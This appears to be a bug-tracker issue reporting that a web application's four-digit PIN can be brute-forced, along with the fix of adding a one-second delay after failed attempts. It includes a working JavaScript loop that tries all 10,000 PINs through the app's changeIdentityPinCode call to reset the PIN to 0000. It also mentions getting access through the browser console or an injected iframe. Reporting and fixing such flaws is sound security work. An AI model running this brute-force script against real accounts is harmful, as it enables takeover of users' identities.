Skip to content

Increase the time which is required to break the pincode

1 second delay was added after failed attempt of entering pin code

Description

Break any pincode to default 0000 in 2-5 minutes by using brute force

We need to get VCL library and set it into the lib variable. Either get lib from debugger in browser console (we have access to user's computer) or inject one more VCL library and work with it (injected iframe script)

In that case we have access to user laptop. Either we can change pincode remotely by using iframe from 11 issue

lib = await window.setupViamAPI(
        "root",
        {
          onEvent: () => {}
        },
        `${document.location.origin}/vcl/js/iframe`,
        `${document.location.origin}/api/`,
        `${document.location.origin}/wopi/`,
        `${document.location.origin}`
      )


r = await lib.listIdentities()
key = Object.keys(r.data)[0]
for (let i = 0; i < 10000; i++)
{
	var oldNum = ""+i;
	await lib.changeIdentityPinCode(key, ('0000' + oldNum).substring(oldNum.length), '0000');
    localStorage.attempt = 1
}
Edited by Alexey Lunin